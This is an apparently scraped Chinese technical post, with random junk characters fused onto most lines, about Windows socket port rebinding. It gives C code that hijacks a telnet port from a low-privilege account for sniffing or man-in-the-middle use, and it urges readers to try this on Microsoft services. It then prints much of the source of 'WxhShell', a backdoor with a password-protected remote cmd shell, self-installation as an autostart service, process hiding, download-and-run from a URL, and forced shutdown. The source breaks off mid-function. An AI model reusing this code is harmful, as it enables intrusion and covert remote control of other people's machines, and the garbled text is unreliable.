在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
X_?%A54z? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
065A?KyD z7q%,yw3N saddr.sin_family = AF_INET;
(xUFl@I! eT\p-4b saddr.sin_addr.s_addr = htonl(INADDR_ANY);
l ?/gWD^ jt%WPkY: bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
"1%*'B^}bw cYD1~JX. 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
`~E<Sf<M 5f3!NeI 这意味着什么?意味着可以进行如下的攻击:
*a4
b :SeLkQC 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
V8v,jS$l4 v>k b^38 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
6`j<l5-h yu_gNro L 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
P:a*t[+ W_D%|Ub2X 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
C~_q^fXJt ee\Gl?VN 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
YiNo#M91 c#x7N9;"! 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
@`2ozi~lO ] - h|] 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
nOr"K;C -;S3| #include
.m'N7`VB #include
auoA #include
L]NYYP- #include
d-i&k(M DWORD WINAPI ClientThread(LPVOID lpParam);
|{!Ns +' int main()
:z124Zf {
WiwwCKjSa WORD wVersionRequested;
i*b4uHna DWORD ret;
NIL^UN} WSADATA wsaData;
10TSc
j BOOL val;
]o!&2:'N` SOCKADDR_IN saddr;
'F6#l"~/ SOCKADDR_IN scaddr;
Y?e3B x7*b int err;
bZnDd SOCKET s;
C64eDX^ SOCKET sc;
-%N}A3m!5 int caddsize;
wEv*1y4 HANDLE mt;
A1 b6Zt DWORD tid;
X)Ocn`| wVersionRequested = MAKEWORD( 2, 2 );
~Gwas0eNa err = WSAStartup( wVersionRequested, &wsaData );
:.C)7( 8S if ( err != 0 ) {
YFAnlqC printf("error!WSAStartup failed!\n");
0=gF6U return -1;
$q.p$JQ: }
Q.uR<C6)v saddr.sin_family = AF_INET;
%pM :{Z @]<DR*< //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
eb(m8vLR %Ln?dF+ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
d`<#}-nh saddr.sin_port = htons(23);
2/UI>@By if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
bsD'\ {
#d$d&W~gE printf("error!socket failed!\n");
<vO8_2,V- return -1;
<w%DyRFw3 }
ws na5D6i
val = TRUE;
8L@UB6b\ //SO_REUSEADDR选项就是可以实现端口重绑定的
'1qAZkz if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
&<#/&Pq/i {
$)Jc-V
6E printf("error!setsockopt failed!\n");
Q=MCMe return -1;
$o{F }
/XbY<pj //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
EgCp:L{ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
hE9'F(87a //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
b^@`uDb6 m|(I} |kT3 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
vl>_e {
)3+xsn v ret=GetLastError();
m]
EDuW printf("error!bind failed!\n");
aJ% e'F[ return -1;
R,fMZHAG }
~x9 W{B] listen(s,2);
deHY8x5uI while(1)
gE-lM/w {
{Nzmb|& caddsize = sizeof(scaddr);
DKf}47y //接受连接请求
z[_R"+ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
s=3EBh if(sc!=INVALID_SOCKET)
!#l0@3 {
XtnIK mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
K7n;Zb:BR if(mt==NULL)
}D8~^ {
q\-xg*' printf("Thread Creat Failed!\n");
*_}IeNc break;
LS*{]@8q }
mNGb}
lR }
V;/
XG}M CloseHandle(mt);
1nw$B[ }
iW1$!l>v closesocket(s);
]JGKL5~p WSACleanup();
IiYuUN1D return 0;
e_;%F` }
=<Zwv\U DWORD WINAPI ClientThread(LPVOID lpParam)
>MBn2(\B; {
Oct\He\. SOCKET ss = (SOCKET)lpParam;
4Xa.r6T_N= SOCKET sc;
=k[(rvU3 unsigned char buf[4096];
]Hv*^Bak SOCKADDR_IN saddr;
'Y,+D`&i) long num;
)< X=z DWORD val;
3ZT/>a>@ DWORD ret;
0e[ tKn( //如果是隐藏端口应用的话,可以在此处加一些判断
5)/4)0 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
c"oQ/x saddr.sin_family = AF_INET;
\=
)[ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
(\[jf39e saddr.sin_port = htons(23);
3D[:Rf[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ROlzs} {
9;m#>a@Y printf("error!socket failed!\n");
Cb!`0%G return -1;
<S:,`v&Z }
hO:)=}+H val = 100;
=6L:Ix if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^D>/wX\u {
;[;S_|vZ=) ret = GetLastError();
P:bVcta9g return -1;
uL qpbn }
oj,Vi-T Z if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>=]NO'?O {
^ mQ;CMV ret = GetLastError();
Wb*T return -1;
r!-L`GUm }
Ugee?;]lu if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
7.F& {:@_ {
W! 5Blo printf("error!socket connect failed!\n");
$u0+29T2O closesocket(sc);
1.ugXD closesocket(ss);
r5X BcG(2 return -1;
c@"i? }
7csl1|U while(1)
/3"e3{uy {
7,&3=R< //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
z}Mb4{d1 //如果是嗅探内容的话,可以再此处进行内容分析和记录
ocDVCCkxg //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
! X#3w-K num = recv(ss,buf,4096,0);
#Fb0;H9` if(num>0)
[|P]St- send(sc,buf,num,0);
} SWA|x else if(num==0)
ZJ{+_ax0K break;
cfO^CC num = recv(sc,buf,4096,0);
)f_"`FH0d if(num>0)
&6~ncQWu send(ss,buf,num,0);
4 I]/ else if(num==0)
"O"^\f break;
&<[]X@ bY }
qjdahVY closesocket(ss);
&p(*i@Ms closesocket(sc);
qH}62DP3 return 0 ;
?>< }
lD+y,"; @)!1#^(}% #L)4| ==========================================================
6:7:NI l: h&^/, G 下边附上一个代码,,WXhSHELL
k6 h^ 1v8:,!C ==========================================================
u3ri6Y` wft:eQ #include "stdafx.h"
a 7mKshY( PPIG?fK) #include <stdio.h>
P^d., #include <string.h>
lk *QV #include <windows.h>
hPCSLJ #include <winsock2.h>
z|4@nqqX #include <winsvc.h>
J{'zkR?Lr #include <urlmon.h>
$=6kh+n@ Dv\:b* #pragma comment (lib, "Ws2_32.lib")
^FpiQF #pragma comment (lib, "urlmon.lib")
lhvZ*[[<) jP{]LJ2.6\ #define MAX_USER 100 // 最大客户端连接数
D9pxe qf+= #define BUF_SOCK 200 // sock buffer
DIcyXZH< #define KEY_BUFF 255 // 输入 buffer
*U[Q =w PrYWha=c- #define REBOOT 0 // 重启
bNPjefBF #define SHUTDOWN 1 // 关机
Wb-'E%K '~vSH9nx/ #define DEF_PORT 5000 // 监听端口
1:~m)"?I_^ p<^/T,&I #define REG_LEN 16 // 注册表键长度
1(\I9L&J
#define SVC_LEN 80 // NT服务名长度
MCO$>QL ]nr
BmKB // 从dll定义API
t$kf'An}/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
-uY:2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
sn T4X typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
]ge^J3az$u typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
:_[cT,3 '| Q*~Lh // wxhshell配置信息
5a/
A_..+I struct WSCFG {
AFF>r#e int ws_port; // 监听端口
CSg5i&A= char ws_passstr[REG_LEN]; // 口令
onypwfIk)t int ws_autoins; // 安装标记, 1=yes 0=no
"8Wc\YDh char ws_regname[REG_LEN]; // 注册表键名
RSVN(-wIi) char ws_svcname[REG_LEN]; // 服务名
1)kl char ws_svcdisp[SVC_LEN]; // 服务显示名
{bsr
9.k( char ws_svcdesc[SVC_LEN]; // 服务描述信息
H_nOE(i<z char ws_passmsg[SVC_LEN]; // 密码输入提示信息
sp]y! zb"5 int ws_downexe; // 下载执行标记, 1=yes 0=no
->#@rF:S char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
UOL%tT char ws_filenam[SVC_LEN]; // 下载后保存的文件名
\crb&EgID JbD)}(G; };
a(t<eN>b! sOtNd({ // default Wxhshell configuration
6W#F Ss~ struct WSCFG wscfg={DEF_PORT,
]KV8u1H> "xuhuanlingzhe",
di
P4]/%1 1,
Fl|&eO,e "Wxhshell",
HW%bx"r+4f "Wxhshell",
EO!cv,[a "WxhShell Service",
9g,L1 W*
"Wrsky Windows CmdShell Service",
~}9H<K3V "Please Input Your Password: ",
KV&_^xSoh| 1,
4O,a`:d1$6 "
http://www.wrsky.com/wxhshell.exe",
PI<s5bns
{ "Wxhshell.exe"
,i((;/O6 };
|\L,r}1N w"Y55EURB // 消息定义模块
ng)yCa_Ny char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
[g
68O* char *msg_ws_prompt="\n\r? for help\n\r#>";
K#pt8Q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
%!/liS char *msg_ws_ext="\n\rExit.";
c3 ]^f6)? char *msg_ws_end="\n\rQuit.";
dZ81\jdYv char *msg_ws_boot="\n\rReboot...";
vWfef~}~ char *msg_ws_poff="\n\rShutdown...";
B(T4nH_k char *msg_ws_down="\n\rSave to ";
xg%]\# \YF!< 2|[ char *msg_ws_err="\n\rErr!";
5T@'2)BI= char *msg_ws_ok="\n\rOK!";
f#-T%jqnK ykl=KR char ExeFile[MAX_PATH];
n'(n4qH2#s int nUser = 0;
)ZT0zIG HANDLE handles[MAX_USER];
Tqh Rs int OsIsNt;
uN^qfJ'@
> @^jLYu|W SERVICE_STATUS serviceStatus;
4]Nr$FY SERVICE_STATUS_HANDLE hServiceStatusHandle;
_A0avMD} v7I*W/ // 函数声明
-2u+m int Install(void);
,rPyXS9Sa{ int Uninstall(void);
z_0 lMX` int DownloadFile(char *sURL, SOCKET wsh);
p:n^c5 int Boot(int flag);
&ZFAUE,[ void HideProc(void);
/M
c"K int GetOsVer(void);
[
:(M<u`y> int Wxhshell(SOCKET wsl);
F[giq1# void TalkWithClient(void *cs);
X#C7r@H int CmdShell(SOCKET sock);
X{5 DPhB, int StartFromService(void);
jWmBUHCb int StartWxhshell(LPSTR lpCmdLine);
>$9yQ9&| _BA_lkN+D VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
iSW73P;) VOID WINAPI NTServiceHandler( DWORD fdwControl );
ZpBH;{., !oRm.cO // 数据结构和表定义
G~L#vAY SERVICE_TABLE_ENTRY DispatchTable[] =
OmuZ0@. {
vF\zZ<R/ {wscfg.ws_svcname, NTServiceMain},
Qy,qQA/ {NULL, NULL}
Wb(0Szk; };
&\br_ 1VsEic // 自我安装
HWAqJb [ int Install(void)
oYM3$.{E {
fmN)~-DV9` char svExeFile[MAX_PATH];
\} Szb2 HKEY key;
85~h+Q; strcpy(svExeFile,ExeFile);
rNO;yL4)ey 8"rX;5
vP // 如果是win9x系统,修改注册表设为自启动
jmNj#R@t if(!OsIsNt) {
F}4 0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
x5Pt\/ow RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
wx'Tv RegCloseKey(key);
ty=?SZF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
6KTY`'I RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>mltE$| RegCloseKey(key);
Q 8E~hgO return 0;
}iloX# }
U2?gODh' }
VO6y9X" }
-$ft `Ih else {
[\F,\ LX&P]{qKS // 如果是NT以上系统,安装为系统服务
^$
bhmJYT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
',%&DA2 if (schSCManager!=0)
$yK!Q)e: {
LP_F"?4 SC_HANDLE schService = CreateService
@]3Rw[%z (
z1 px^#
schSCManager,
m?`Rl6!@8\ wscfg.ws_svcname,
ea+rjv m wscfg.ws_svcdisp,
*G=AhH$t SERVICE_ALL_ACCESS,
c'qM$KN9G SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
mf'1.{ SERVICE_AUTO_START,
B.WkHY%/ SERVICE_ERROR_NORMAL,
j( :A svExeFile,
iROM?/$ NULL,
dEL"(e#0s4 NULL,
!r
<|F NULL,
YTit=4| NULL,
_x{x#d;L3 NULL
+yI^<BH );
kl9z;(6p if (schService!=0)
k| o,gcU {
=*U24B*U93 CloseServiceHandle(schService);
@>j \~<% CloseServiceHandle(schSCManager);
c[7qnSH strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
xxn&{\
? strcat(svExeFile,wscfg.ws_svcname);
g_X7@Dt if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
.).<L`q RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
xU"qB24]= RegCloseKey(key);
Z`KmH.l! return 0;
~.PYS!" + }
SLo/7$rct }
N9<eU!4> CloseServiceHandle(schSCManager);
lukV
G2wDL }
#"JU39e }
R<Tzt'z bb/MnhB return 1;
_O<{H '4NO }
xGA0]
_ Fgk/Ph3r // 自我卸载
%"2B1^o> int Uninstall(void)
M(jH"u&f {
4UkLvL1x HKEY key;
VA.1JBQ }6N|+z.cU if(!OsIsNt) {
mY(
_-[W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
U8!njLC RegDeleteValue(key,wscfg.ws_regname);
Hd`RR3J RegCloseKey(key);
n9Yk;D2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7 '/&mX> RegDeleteValue(key,wscfg.ws_regname);
Hyg?as>}u RegCloseKey(key);
7d5x4^EYE return 0;
/K<Nlxcm }
u{,^#I} }
}D O# {@af }
0iHI"9z else {
Y."[k&P- ja2]VbB SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
^B9wmxe if (schSCManager!=0)
0oMMJ6"i {
'c D"ZVm1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
8<xy*=% if (schService!=0)
ffVYlNQ7L {
3R><AFMY? if(DeleteService(schService)!=0) {
(" %yV_R CloseServiceHandle(schService);
~/%){t/uLY CloseServiceHandle(schSCManager);
mUbaR return 0;
*?+!(E }
\^cn}db) CloseServiceHandle(schService);
WXL.D_=+ }
nLg7A3[1v CloseServiceHandle(schSCManager);
[PT_y3'% }
5sE}B8
mF }
0l6%[U?o ]Y?$[+Y return 1;
aRmS{X3 }
C*!_. <b .Yx.Lm} // 从指定url下载文件
RFdN13sJv int DownloadFile(char *sURL, SOCKET wsh)
M~IiJ9{ {
.y!Hw{cq HRESULT hr;
0^4*[?l9q char seps[]= "/";
D 4wB
&~U char *token;
2H#vA char *file;
/MC\!,K char myURL[MAX_PATH];
tWFJx}H char myFILE[MAX_PATH];
"$&F]0 "<WSEs strcpy(myURL,sURL);
^ytd~iK8 token=strtok(myURL,seps);
$j/F7.S while(token!=NULL)
: Ej IV]e {
U
DG _APf file=token;
#C`!yU6( token=strtok(NULL,seps);
n_<]9 }
ORoraEK 5a/)| GetCurrentDirectory(MAX_PATH,myFILE);
h(sD] N strcat(myFILE, "\\");
S;g~xo strcat(myFILE, file);
?cvv!2B]T send(wsh,myFILE,strlen(myFILE),0);
x1~`Z}LX0 send(wsh,"...",3,0);
r/e&}! hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
DiX4wmQ if(hr==S_OK)
Q7\Ax0 return 0;
jDoWSYu4tY else
%WNy=V9txp return 1;
oKac~}_KL ,]MX&] }
mR^D55k a
srkuAS // 系统电源模块
4$^=1ax int Boot(int flag)
K02./ut- {
3,?y ! HANDLE hToken;
saV `-# TOKEN_PRIVILEGES tkp;
/dqKFxB1 |F<aw?% if(OsIsNt) {
ec=C7M
| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
I2dt# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
9pgct6BO tkp.PrivilegeCount = 1;
0[];c$r< tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
uFqH_04 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
BSz\9 eT if(flag==REBOOT) {
e.T5F`Du if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
ZDf9Npe return 0;
oOlI*/OMb }
VtVnht1 else {
&~&i > if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
-4]6tt'G return 0;
]k8XLgJ }
ZBGI_9wZ }
oAL-v428 else {
X DX_c@U if(flag==REBOOT) {
.^uu*S_ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
(<CLftQKg return 0;
~(8A&!#,! }
8C2t0u;Y
. else {
s|%</fMt9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
N%-nxbI\ return 0;
[Y*UCFhI0 }
ubLLhf }
.28*vkH%C= QWoEo return 1;
L*Y}pO }
=[WccF gUMUh]j // win9x进程隐藏模块
EW`3h9v~ void HideProc(void)
!|!V}O {
$` >C i=H(8vN HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
mF1oY[xa_ if ( hKernel != NULL )
&ke4":7X {
";~#epPkX pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
/[q@=X& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
,[~EThcq FreeLibrary(hKernel);
l^_X?L@ }
g41LpplX f,1rmX1 return;
5Z:HCp-aG }
ZoUfQ!2* ^Z!W3q Q // 获取操作系统版本
I/tzo(r int GetOsVer(void)
jsR1jou6 {
\ Q6Ip@? OSVERSIONINFO winfo;
W1OGN4`C winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
(|x-> a GetVersionEx(&winfo);
DW-LkgfA if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
, QQ:o'I! return 1;
*<hpq) else
\!PC:+uJ return 0;
8,R]R= }
kC+A7k6 X;1q1X)K // 客户端句柄模块
;2iZX=P`n int Wxhshell(SOCKET wsl)
TnG"_VK9R {
IV*}w"r SOCKET wsh;
p+t8*lkq struct sockaddr_in client;
{T IGPK DWORD myID;
i~2>kxf;K1 t@ Jo ?0s while(nUser<MAX_USER)
``SjALf {
7Ct m({I- int nSize=sizeof(client);
E,r PM wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
I;7{b\t
Q if(wsh==INVALID_SOCKET) return 1;
Rpr#
,| 'e&4#VLH^ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
FLWz7Rj if(handles[nUser]==0)
n Au>i< closesocket(wsh);
Rl(b tr1w else
XBc+_=)$ nUser++;
}bHpFe }
"mOoGy,( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
]D%[GO//! !nu['6I% return 0;
i2*nYd`K }
/L~*FQQK> Ne[O9D
7 // 关闭 socket
Q.fBuF void CloseIt(SOCKET wsh)
^_oLhNoez2 {
;A C] * closesocket(wsh);
(=X16}n:> nUser--;
-P?}
qy^j( ExitThread(0);
Z+}SM]m }
+vuW9 yT>T
Vq/e // 客户端请求句柄
;?cUF78# void TalkWithClient(void *cs)
nQ+{1 C {
MT*b+&1e 48DsRy SOCKET wsh=(SOCKET)cs;
k X-AC5] char pwd[SVC_LEN];
t
_W |` char cmd[KEY_BUFF];
52~k:"c char chr[1];
jPd<h{js int i,j;
pQ>V]M m/ukH{H1% while (nUser < MAX_USER) {
c{<3\ |joGrWv4 if(wscfg.ws_passstr) {
ZDb`]c4( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
wHCsEp( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
8
jT"HZB6 //ZeroMemory(pwd,KEY_BUFF);
LgaJp_d>9* i=0;
Q-0[l/A}a while(i<SVC_LEN) {
)dV.A IQ+ ?ix,Cu@M // 设置超时
8]c`n!u=` fd_set FdRead;
!6KEW, struct timeval TimeOut;
}[Y):Yy FD_ZERO(&FdRead);
X4TUi8ht!] FD_SET(wsh,&FdRead);
4e(@b3y TimeOut.tv_sec=8;
Uag1vW,c TimeOut.tv_usec=0;
oacY-& int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
*Dn{MD7,M if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
XkD_SaL} v
ipmzg(S if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
zb4g\H
0 pwd
=chr[0]; eyM3W}[S$/
if(chr[0]==0xd || chr[0]==0xa) { &>/nYvuq -
pwd=0; UWnH2
break; &A9+%kOk>
} <Du*Re6g
i++; VMHY.Rf
} 94R+S-|P
$DVy$)a!u
// 如果是非法用户,关闭 socket g %Am[fb
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M}vPWWcl
} 4 A<c@g2
CuGk?i
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zknD(%a
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cnsGP*w
=_86{wlk
while(1) { Xnh1pwDhe<
W)_B(;$]
ZeroMemory(cmd,KEY_BUFF); k9,"`dk@
Y}6)jzBV
// 自动支持客户端 telnet标准 UvI!e4_
j=0; pI!55w|
while(j<KEY_BUFF) { )ad-s
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w7C=R8^
cmd[j]=chr[0]; o#Y1Uamkf
if(chr[0]==0xa || chr[0]==0xd) { 1Y`MJ\9
cmd[j]=0; u2eqVrY
break; \Q$);:=qQ
} gXQ)\MY
j++; . FruI#99
} 4EK[gM8
$X?V_K;9/
// 下载文件 @|@43}M]C-
if(strstr(cmd,"http://")) { t|q=NK/
send(wsh,msg_ws_down,strlen(msg_ws_down),0); n >Ei1
if(DownloadFile(cmd,wsh)) fP|\1Y?CS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 26**tB<
else &td#m"wI
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EAfSbK3z
} u|ZO"t
else { 3LmHH
=
oMPQkj;
switch(cmd[0]) { +R_U
X}yYBf/R`
// 帮助 \,Ndg*qC
case '?': { ra&C|"~E
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %F~
dmA#:
break; GyCpGP|AZ
} kr?|>6?
// 安装 A3n"zxU
case 'i': { -'(:Sq,4o
if(Install()) (}:xs,Ax
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yV. P.Q
else . ~<+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5"Yw$DB9
break; g9XtE
} .EcM n
// 卸载 |2# Ro*
case 'r': { u;!Rv E8N
if(Uninstall()) 8n)Q^z+
K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ua]zTMI
else sF$m?/Kt
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D4\I;M^
break; :q=OW1^k^
} 4Q>F4v`
// 显示 wxhshell 所在路径 -%.V0=G(Z
case 'p': { iH>djGhTh
char svExeFile[MAX_PATH]; U*@_T 3N
strcpy(svExeFile,"\n\r"); 7d)aDc*TjW
strcat(svExeFile,ExeFile); F\I^d]#,[
send(wsh,svExeFile,strlen(svExeFile),0); CmTJa5:
break; =N
c`hP
} ;vitg"Zh>
// 重启 ~iWSc8-
case 'b': { S6mmk&n
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); | QA8"&r
if(Boot(REBOOT)) cF2/}m]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H
#BgE29
else { 3(%,2
closesocket(wsh); #!/Nmd=Nj
ExitThread(0); 8'_Y=7b0Nw
} ^Ram8fW
break; w(D9'
} {@A2jk\
// 关机 Oq5k4
case 'd': { 5 %Gf?LyO
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v,0D GR~
if(Boot(SHUTDOWN)) wLbngO=VG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i1
&'Zh
else { N,|oV|i
closesocket(wsh); U4gwxK
ExitThread(0); EMG*8HRI>r
} ;j=1 oW
break; -+>am?
} ui1m+
// 获取shell RHbwq]
case 's': { w.f[)
CmdShell(wsh); 9YABr>
?
closesocket(wsh); $b} +5
ExitThread(0); #pfosC[
break; JyO lVs<T
} 7%"7Rb^@
// 退出 sXxO{aeev
case 'x': { GHY>DrXO1u
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U4gJ![>5j
CloseIt(wsh); N3p3"4_]fy
break; rRYf.~UH@P
} -cgukl4Va
// 离开 1tdCzbEn+
case 'q': { 27:x5g?
send(wsh,msg_ws_end,strlen(msg_ws_end),0); CvJEY
closesocket(wsh); @:B1
WSACleanup(); \`ReZu$
exit(1); ^%pwyY\t
break; sLIP|i
} 4)I#[&f
} ub5hX{uT
} YoAg
Ub)M*Cq0(o
// 提示信息 w1i?#!|
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )eR$:uO
} @q)E=G1<o0
} JIV8q HC
XKSX#cia
return; q%S8\bt
} !<r8~A3!(
[H^ X"D
// shell模块句柄 _}ele+
int CmdShell(SOCKET sock) {D,RU8&
{ l%<c6;
STARTUPINFO si; 6LM9e0oxy
ZeroMemory(&si,sizeof(si)); 9v~5qv;
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
8 u:2,l
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 61:9(*4~!F
PROCESS_INFORMATION ProcessInfo; C3.=GRg~l
char cmdline[]="cmd"; |Fp'/~|w2d
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wd+O5Lr.R
return 0; .bfST.OA
} ?Ib}
b:Dg}
// 自身启动模式 / O)6iJ
int StartFromService(void) >{XScxaB`
{ !Uy>eji}
typedef struct >'Hx1;
{ |yv]Y/=
DWORD ExitStatus; c&e0OV\m
DWORD PebBaseAddress; ^Y 7U1I
DWORD AffinityMask; ,8VXA +'_
DWORD BasePriority; s=U\_koyH
